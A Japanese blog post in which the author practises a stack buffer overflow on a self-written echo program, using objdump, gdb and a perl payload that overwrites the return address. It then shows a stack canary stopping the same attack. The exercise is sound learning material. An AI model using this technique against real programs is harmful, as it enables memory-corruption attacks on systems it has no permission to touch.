プロローグ
仕事で時折お世話になっているセキュリティエンジニアに紹介された本を読んでいる。理解の確認に少し付き合ってくれないかとお願いしたら、代わりにとstack buffer overflow演習用のバイナリをくれた。これより簡単な脆弱性はないからまずこれを、と。
バイナリは一応貰い物なので、似たようなものを自作自演する。
本題
言ったことを繰り返してくれるだけの、yamabikoというプログラムを用意する。
$ ./yamabiko
usage: yamabiko whatever_you_want_to_spill_out
$ ./yamabiko AAAA
yamabiko: AAAA
$
自作自演ながら一応長いインプットで何かが起きそうなことを確認。
$ ./yamabiko $(perl -e 'print "A"x60;')
yamabiko: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�����
Segmentation fault (core dumped)
$
まずバイナリを少し見つめてみる。関係ありそうな関数を見つけた。
$ objdump -M intel -D yamabiko | grep -A70 func1.:
080484cb <func1>:
80484cb: 55 push ebp
80484cc: 89 e5 mov ebp,esp
80484ce: 83 ec 28 sub esp,0x28
80484d1: 83 ec 04 sub esp,0x4
80484d4: 6a 20 push 0x20
80484d6: 6a 00 push 0x0
80484d8: 8d 45 d8 lea eax,[ebp-0x28]
80484db: 50 push eax
80484dc: e8 cf fe ff ff call 80483b0 <memset@plt>
80484e1: 83 c4 10 add esp,0x10
80484e4: 8b 45 0c mov eax,DWORD PTR [ebp+0xc]
80484e7: 83 ec 04 sub esp,0x4
80484ea: 50 push eax
80484eb: ff 75 08 push DWORD PTR [ebp+0x8]
80484ee: 8d 45 d8 lea eax,[ebp-0x28]
80484f1: 50 push eax
80484f2: e8 79 fe ff ff call 8048370 <memcpy@plt>
80484f7: 83 c4 10 add esp,0x10
80484fa: 83 ec 08 sub esp,0x8
80484fd: 8d 45 d8 lea eax,[ebp-0x28]
8048500: 50 push eax
8048501: 68 00 86 04 08 push 0x8048600
8048506: e8 55 fe ff ff call 8048360 <printf@plt>
804850b: 83 c4 10 add esp,0x10
804850e: b8 01 00 00 00 mov eax,0x1
8048513: c9 leave
8048514: c3 ret
08048515 <main>:
8048515: 8d 4c 24 04 lea ecx,[esp+0x4]
8048519: 83 e4 f0 and esp,0xfffffff0
804851c: ff 71 fc push DWORD PTR [ecx-0x4]
804851f: 55 push ebp
8048520: 89 e5 mov ebp,esp
8048522: 53 push ebx
8048523: 51 push ecx
8048524: 89 cb mov ebx,ecx
8048526: 83 3b 02 cmp DWORD PTR [ebx],0x2
8048529: 74 17 je 8048542 <main+0x2d>
804852b: 83 ec 0c sub esp,0xc
804852e: 68 10 86 04 08 push 0x8048610
8048533: e8 48 fe ff ff call 8048380 <puts@plt>
8048538: 83 c4 10 add esp,0x10
804853b: b8 ff ff ff ff mov eax,0xffffffff
8048540: eb 2b jmp 804856d <main+0x58>
8048542: 8b 43 04 mov eax,DWORD PTR [ebx+0x4]
8048545: 83 c0 04 add eax,0x4
8048548: 8b 00 mov eax,DWORD PTR [eax]
804854a: 83 ec 0c sub esp,0xc
804854d: 50 push eax
804854e: e8 3d fe ff ff call 8048390 <strlen@plt>
8048553: 83 c4 10 add esp,0x10
8048556: 89 c2 mov edx,eax
8048558: 8b 43 04 mov eax,DWORD PTR [ebx+0x4]
804855b: 83 c0 04 add eax,0x4
804855e: 8b 00 mov eax,DWORD PTR [eax]
8048560: 83 ec 08 sub esp,0x8
8048563: 52 push edx
8048564: 50 push eax
8048565: e8 61 ff ff ff call 80484cb <func1>
804856a: 83 c4 10 add esp,0x10
804856d: 8d 65 f8 lea esp,[ebp-0x8]
8048570: 59 pop ecx
8048571: 5b pop ebx
8048572: 5d pop ebp
8048573: 8d 61 fc lea esp,[ecx-0x4]
8048576: c3 ret
8048577: 66 90 xchg ax,ax
8048579: 66 90 xchg ax,ax
804857b: 66 90 xchg ax,ax
コツコツ読んで以下のようなことを思う。
mainの0x804852bから、引数の数が合わない時の"usage"を出力していると思う。func1の0x8048506で"yamabiko: “の出力をしていると思う。func1が終わったとき用のreturn addressとして、main関数の0x804856aがスタックに置いてあるだろう。
gdbでデバッグして確認してみる。
$ gdb -q yamabiko Reading symbols from yamabiko...(no debugging symbols found)...done. (gdb) b *0x8048506 Breakpoint 1 at 0x8048506 (gdb) r AAAA Starting program: /vagrant/my_echo/yamabiko AAAA Breakpoint 1, 0x08048506 in func1 () (gdb) x/16wx $esp 0xbffff5d0: 0x08048600 0xbffff5e0 0x00000004 0x00000ec7 0xbffff5e0: 0x41414141 0x00000000 0x00000000 0x00000000 0xbffff5f0: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffff600: 0xbffff828 0xb7fcc000 0xbffff628 0x0804856a (gdb) x/s 0x08048600 0x8048600: "yamabiko: %s\n" (gdb) x/s 0xbffff5e0 0xbffff5e0: "AAAA" (gdb) x/4i 0x0804856a 0x804856a: add esp,0x10 0x804856d : lea esp,[ebp-0x8] 0x8048570 : pop ecx 0x8048571 : pop ebx (gdb)
やはりそうだ。トップの二つがprintfの引数であり、特に引数の文字列が0xbffff5e0に入っていることも確認できる。ではreturn addressを書き換えてみよう。
(gdb) p 0xbffff60c - 0xbffff5e0
$1 = 44
(gdb)
44バイトの後に何かアドレスを入れれば何かが起きそうだ。先に見つけた0x804852b(“usage"の出力)を使ってみよう。
(gdb) run $(perl -e 'print "A"x44 . "\x2b\x85\x04\x08"') The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /vagrant/my_echo/yamabiko $(perl -e 'print "A"x44 . "\x2b\x85\x04\x08"') Breakpoint 1, 0x08048506 in func1 () (gdb) disass Dump of assembler code for function func1: 0x080484cb <+0>: push ebp 0x080484cc <+1>: mov ebp,esp 0x080484ce <+3>: sub esp,0x28 0x080484d1 <+6>: sub esp,0x4 0x080484d4 <+9>: push 0x20 0x080484d6 <+11>: push 0x0 0x080484d8 <+13>: lea eax,[ebp-0x28] 0x080484db <+16>: push eax 0x080484dc <+17>: call 0x80483b00x080484e1 <+22>: add esp,0x10 0x080484e4 <+25>: mov eax,DWORD PTR [ebp+0xc] 0x080484e7 <+28>: sub esp,0x4 0x080484ea <+31>: push eax 0x080484eb <+32>: push DWORD PTR [ebp+0x8] 0x080484ee <+35>: lea eax,[ebp-0x28] 0x080484f1 <+38>: push eax 0x080484f2 <+39>: call 0x8048370 0x080484f7 <+44>: add esp,0x10 0x080484fa <+47>: sub esp,0x8 0x080484fd <+50>: lea eax,[ebp-0x28] 0x08048500 <+53>: push eax 0x08048501 <+54>: push 0x8048600 => 0x08048506 <+59>: call 0x8048360 0x0804850b <+64>: add esp,0x10 0x0804850e <+67>: mov eax,0x1 0x08048513 <+72>: leave 0x08048514 <+73>: ret End of assembler dump. (gdb)
(gdb) x/16wx $esp 0xbffff5b0: 0x08048600 0xbffff5c0 0x00000030 0x00000ec7 0xbffff5c0: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff5d0: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff5e0: 0x41414141 0x41414141 0x41414141 0x0804852b (gdb)
うまいこと書き換わってくれたようだ。恐る恐る関数を抜けるまでinstructionを進めてみる。
(gdb) nexti 5
yamabiko: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA+ȡ�0
0x0804852b in main ()
(gdb) disass
Dump of assembler code for function main:
0x08048515 <+0>: lea ecx,[esp+0x4]
0x08048519 <+4>: and esp,0xfffffff0
0x0804851c <+7>: push DWORD PTR [ecx-0x4]
0x0804851f <+10>: push ebp
0x08048520 <+11>: mov ebp,esp
0x08048522 <+13>: push ebx
0x08048523 <+14>: push ecx
0x08048524 <+15>: mov ebx,ecx
0x08048526 <+17>: cmp DWORD PTR [ebx],0x2
0x08048529 <+20>: je 0x8048542 <main+45>
=> 0x0804852b <+22>: sub esp,0xc
0x0804852e <+25>: push 0x8048610
0x08048533 <+30>: call 0x8048380 <puts@plt>
0x08048538 <+35>: add esp,0x10
0x0804853b <+38>: mov eax,0xffffffff
0x08048540 <+43>: jmp 0x804856d <main+88>
0x08048542 <+45>: mov eax,DWORD PTR [ebx+0x4]
0x08048545 <+48>: add eax,0x4
0x08048548 <+51>: mov eax,DWORD PTR [eax]
0x0804854a <+53>: sub esp,0xc
0x0804854d <+56>: push eax
0x0804854e <+57>: call 0x8048390 <strlen@plt>
0x08048553 <+62>: add esp,0x10
0x08048556 <+65>: mov edx,eax
0x08048558 <+67>: mov eax,DWORD PTR [ebx+0x4]
0x0804855b <+70>: add eax,0x4
0x0804855e <+73>: mov eax,DWORD PTR [eax]
0x08048560 <+75>: sub esp,0x8
0x08048563 <+78>: push edx
0x08048564 <+79>: push eax
0x08048565 <+80>: call 0x80484cb <func1>
0x0804856a <+85>: add esp,0x10
0x0804856d <+88>: lea esp,[ebp-0x8]
0x08048570 <+91>: pop ecx
0x08048571 <+92>: pop ebx
0x08048572 <+93>: pop ebp
0x08048573 <+94>: lea esp,[ecx-0x4]
0x08048576 <+97>: ret
End of assembler dump.
(gdb)
うまいこと飛んでくれたようだ。残りを実行してみる。
(gdb) c
Continuing.
usage: my_echo whatever_you_want_to_spill_out
Program received signal SIGSEGV, Segmentation fault.
0x08048570 in main ()
(gdb)
確かに"usage"が出た。一応gdbの外でも実行してみる。
$ ./yamabiko $(perl -e 'print "A"x44 . "\x2b\x85\x04\x08";')
yamabiko: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA+ȡ�0
usage: my_echo whatever_you_want_to_spill_out
Segmentation fault (core dumped)
$
おお、できた。
エピローグ
バイナリをくれたセキュリティエンジニアはexploitが成功するように-fno-stack-protectorオプションをつけてコンパイルしたと言っていた。上の自作自演バイナリも同じように作ってある。
$ gcc -fno-stack-protector -o yamabiko my_echo.c
$ ./yamabiko $(perl -e 'print "A"x44 . "\x2b\x85\x04\x08";')
yamabiko: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA+ȡ�0
usage: yamabiko whatever_you_want_to_spill_out
Segmentation fault (core dumped)
$
試してみると、どうやら確かにそのオプションがないと上のexploitは成功しない。
$ gcc -o yamabiko my_echo.c
$ ./yamabiko $(perl -e 'print "A"x44 . "\x2b\x85\x04\x08";')
yamabiko: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA+8��0
*** stack smashing detected ***: ./yamabiko terminated
Aborted (core dumped)
$
なんとどうやらfunc1の中身が違う。
$ gcc -o yamabiko my_echo.c $ gdb -q yamabiko Reading symbols from yamabiko...(no debugging symbols found)...done. (gdb) disass func1 Dump of assembler code for function func1: 0x0804852b <+0>: push ebp 0x0804852c <+1>: mov ebp,esp 0x0804852e <+3>: sub esp,0x48 0x08048531 <+6>: mov eax,DWORD PTR [ebp+0x8] 0x08048534 <+9>: mov DWORD PTR [ebp-0x3c],eax 0x08048537 <+12>: mov eax,gs:0x14 0x0804853d <+18>: mov DWORD PTR [ebp-0xc],eax 0x08048540 <+21>: xor eax,eax 0x08048542 <+23>: sub esp,0x4 0x08048545 <+26>: push 0x20 0x08048547 <+28>: push 0x0 0x08048549 <+30>: lea eax,[ebp-0x2c] 0x0804854c <+33>: push eax 0x0804854d <+34>: call 0x80484100x08048552 <+39>: add esp,0x10 0x08048555 <+42>: mov eax,DWORD PTR [ebp+0xc] 0x08048558 <+45>: sub esp,0x4 0x0804855b <+48>: push eax 0x0804855c <+49>: push DWORD PTR [ebp-0x3c] 0x0804855f <+52>: lea eax,[ebp-0x2c] 0x08048562 <+55>: push eax 0x08048563 <+56>: call 0x80483c0 0x08048568 <+61>: add esp,0x10 0x0804856b <+64>: sub esp,0x8 0x0804856e <+67>: lea eax,[ebp-0x2c] 0x08048571 <+70>: push eax 0x08048572 <+71>: push 0x8048680 0x08048577 <+76>: call 0x80483b0 0x0804857c <+81>: add esp,0x10 0x0804857f <+84>: mov eax,0x1 0x08048584 <+89>: mov edx,DWORD PTR [ebp-0xc] 0x08048587 <+92>: xor edx,DWORD PTR gs:0x14 0x0804858e <+99>: je 0x8048595 0x08048590 <+101>: call 0x80483d0 <__stack_chk_fail@plt> 0x08048595 <+106>: leave 0x08048596 <+107>: ret End of assembler dump. (gdb)
__stack_chk_failというのが仕事していそうだ。これ…なのかな:__stack_chk_fail
どのような仕組みで機能しているのだろう。本の続きにこんな話も出てくるのを期待。